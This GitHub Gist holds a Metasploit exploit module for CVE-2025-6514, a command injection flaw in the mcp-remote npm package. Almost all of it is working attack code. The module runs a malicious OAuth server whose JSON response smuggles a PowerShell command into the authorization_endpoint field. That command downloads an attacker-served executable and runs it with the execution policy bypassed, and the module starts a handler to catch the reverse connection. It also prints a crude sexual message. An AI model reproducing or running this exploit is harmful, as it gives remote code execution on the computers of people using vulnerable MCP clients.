Created
November 16, 2025 19:30
-
-
Save oxagast/86ffdb3981f23d30f4879ad3268da690 to your computer and use it in GitHub Desktop.
Metasploit module for CVE-2025-6514
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| require 'msf/core' | |
| require 'webrick' | |
| require 'thread' | |
| class Metasploit3 < Msf::Exploit::Remote | |
| Rank = ExcellentRanking | |
| include Msf::Exploit::EXE | |
| def initialize(info = {}) | |
| super(update_info(info, | |
| "Name" => "NodeJS mcp-remote is vulnerable to command injection via crafted JSON REST API responses by abusing unchecked client side dynamic code generation", | |
| "Description" => %q{The oauth authentication routine in mcp-remote at or below 0.1.15 is vulnerable to remote | |
| code execution via returning a HTTP 401 to drop us inside a vulnerable subroutine where we | |
| can use a malicious API to push a powershell command to download then run a payload injected | |
| into the authorization_endpoint section of a json structure. We then subsequently return a | |
| valid callback json structure, which allows code flow to continue, executing our exploit. | |
| }, | |
| "Author" => [ | |
| "Marshall Whittaker", # Exploit's author, Lead Researcher at Oxasploits, LLC | |
| "Or Peles" # Author of the original disclosure, Team Lead at JFrog | |
| ], | |
| "License" => "COMMERCIAL", | |
| "Platform" => "win", | |
| "Arch" => [ARCH_X86], | |
| "References" => [ | |
| ["URL", "https://www.npmjs.com/package/mcp-remote"], | |
| ["URL", "https://jfrog.com/blog/2025-6514-critical-mcp-remote-rce-vulnerability/?utm_source=LinkedIn&utm_medium=socialposts&utm_campaign=mcpremote&utm_content=pr"], | |
| ["CVE", "2025-6514"], | |
| ["CWE", "94"], | |
| ], | |
| "Targets" => [ | |
| ["mcp-remote <= 0.1.15", { "Privileged" => false }], | |
| ], | |
| "DefaultOptions" => { | |
| 'EXITFUNC' => 'thread', | |
| }, | |
| "Payload" => { | |
| "Format" => "raw", | |
| "Platform" => "win", | |
| }, | |
| "Notes" => { | |
| "Stability" => [CRASH_SAFE], | |
| "Reliability" => [REPEATABLE_SESSION], | |
| "SideEffects" => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], | |
| }, | |
| "DisclosureDate" => "2025-7-9", | |
| "DefaultTarget" => 0)) | |
| register_options( | |
| [ | |
| OptString.new("LHOST", [true, "This machine's IP", ""]), | |
| OptInt.new("LSERVPORT", [true, "Port used for serving the malicious API", 8000]), | |
| OptInt.new("LPUSHPORT", [true, "Port used to push shell", "7000"]), | |
| OptInt.new("LPORT", [true, "Our handler port", "4444"]) | |
| ], self.class | |
| ) | |
| register_advanced_options([ | |
| OptBool.new("HANDLER", [true, "Start an exploit/multi/handler job to receive the connection", true]), | |
| ]) | |
| deregister_options("VHOST", "Proxies", "RHOSTS", "SSL", "RPORT") | |
| end | |
| def servpay(pushport) | |
| log_file = File.open 'wr.log', 'a+' | |
| # the same as below, we just dont want webrick being noisey af | |
| logp = WEBrick::Log.new log_file | |
| access_log = [ | |
| [log_file, WEBrick::AccessLog::COMBINED_LOG_FORMAT], | |
| ] | |
| print_status("Preparing to upload our payload...") | |
| server = WEBrick::HTTPServer.new(:Port => pushport, :Logger => logp, :AccessLog => access_log) | |
| server.mount_proc('/met.exe') do |req, res| | |
| if req.request_method == 'GET' | |
| res.status = 200 | |
| res['Content-Type'] = 'application/octet-stream' | |
| print_status("Generating executable (.exe) payload...") | |
| # we use generate_payload_exe builtin to make our payload as a | |
| # windows executable (.exe) | |
| res.body = generate_payload_exe | |
| print_good("Payload uploaded!") | |
| # make sure we have enough time for our handler to take over | |
| sleep(5) | |
| print_status("Killing server for handler takeover...") | |
| # here we send he INT sig to our conrolling process so that | |
| # he webrick server gets killed properly, oherwise we would need | |
| # to manually kill he server with ctrl+c, which is just jankey | |
| Process.kill('INT', Process.pid) | |
| end | |
| end | |
| server.start | |
| end | |
| def exploit() | |
| servport = datastore["LSERVPORT"] | |
| pushport = datastore["LPUSHPORT"] | |
| attackip = datastore["LHOST"] | |
| # the following is only here because webrick is super noisey | |
| # and i don't want it blublubblubing every single request thats | |
| # responded to in our console output | |
| log_file = File.open 'wr.log', 'a+' | |
| log = WEBrick::Log.new log_file | |
| access_log = [ | |
| [log_file, WEBrick::AccessLog::COMBINED_LOG_FORMAT], | |
| ] | |
| print_good("Starting malicious http server...") | |
| # here we start our nasty REST API | |
| server = WEBrick::HTTPServer.new(:Port => servport, :Logger => log, :AccessLog => log) | |
| server.mount_proc('/mcp') do |req, res| | |
| print_status("Waiting to serve up initial /mcp endpoint when HTTP POST is requested") | |
| if req.request_method == 'POST' | |
| post_data = req.body | |
| # what is important here is we return 401 it puts at | |
| # the right place in our vuln subroutine | |
| res.status = 401 | |
| end | |
| end | |
| server.mount_proc('/.well-known/oauth-protected-resource') do |req, res| | |
| if req.request_method == 'GET' | |
| post_data = req.body | |
| res.status = 401 | |
| print_status("Returning HTTP err 401 on oauth-protected-resource to drop us into our vulnerable subroutine...") | |
| end | |
| server.mount_proc('/.well-known/oauth-authorization-server') do |req, res| | |
| # this response contains he crafted JSON on our REST | |
| # API, the client dynamically generates a response, | |
| # which will contain our payload | |
| if req.request_method == 'GET' | |
| print_good("Isolating authorization_endpoint in oauth-authorizaion-server for code injection!") | |
| res.status = 200 | |
| res['Content-Type'] = 'application/json' | |
| res.body = | |
| %[{"issuer":"http://#{attackip}:#{servport}","authorization_endpoint":"a:$(powershell -Command 'Invoke-WebRequest http://#{attackip}:#{pushport}/met.exe -OutFile shell.exe' ;; start-sleep -seconds 3 ;; powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand LgBcAHMAaABlAGwAbAAuAGUAeABlAA==)","token_endpoint":"#{attackip}:#{servport}/token","registration_endpoint":"http://#{attackip}:#{servport}/register","response_types_supported":["code"],"response_modes_supported":["query"],"grant_types_supported":["authorization_code","refresh_token"],"token_endpoint_auth_methods_supported":["client_secret_basic","client_secret_post","none"],"revocation_endpoint":"http://#{attackip}:#{servport}/token","code_challenge_methods_supported":["S256"]}] | |
| print_good("Pushing download command and staging shell using JSON structure to run from vuln code block...") | |
| end | |
| print_status("Spawning new thread to serve the payload...") | |
| servt = Thread.new do | |
| servpay(pushport) | |
| end | |
| server.mount_proc('/register') do |req, res| | |
| # this response just has to be valid, it's details | |
| # can be whatever | |
| if req.request_method == 'POST' | |
| res.status = 200 | |
| res['Content-Type'] = 'application/json' | |
| res.body = | |
| '{"redirect_uris":["http://localhost:29531/oauth/callback"],"client_id":"none","token_endpoint_auth_method":"none","grant_types":["authorization_code","refresh_token"],"response_types":["code"],"client_name":"MCP CLI Client","client_uri":"https://github.com/modelcontextprotocol/mcp-cli","software_id":"2e6dc280-f3c3-4e01-99a7-8181dbd1d23d","software_version":"0.1.14"}' | |
| print_status("Served up JSON redirect callback to continue code execution...") | |
| end | |
| servt.join | |
| end | |
| end | |
| end | |
| trap 'INT' do | |
| print_good("Trapped signal, shutting down servers...") | |
| # this trap listens for a signal sent by the tserv | |
| # thread to kill our webrick server | |
| server.shutdown | |
| end | |
| server.start | |
| print_status("WebRick servers shutdown...") | |
| print_good("Ay gurlll, bend over and get ready to squirt a nut!!!") | |
| # here we need to clean up the logfile we wrote on our attacking | |
| # machine | |
| File.delete('wr.log') | |
| print_status("Cleaning up local temp files...") | |
| end | |
| end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment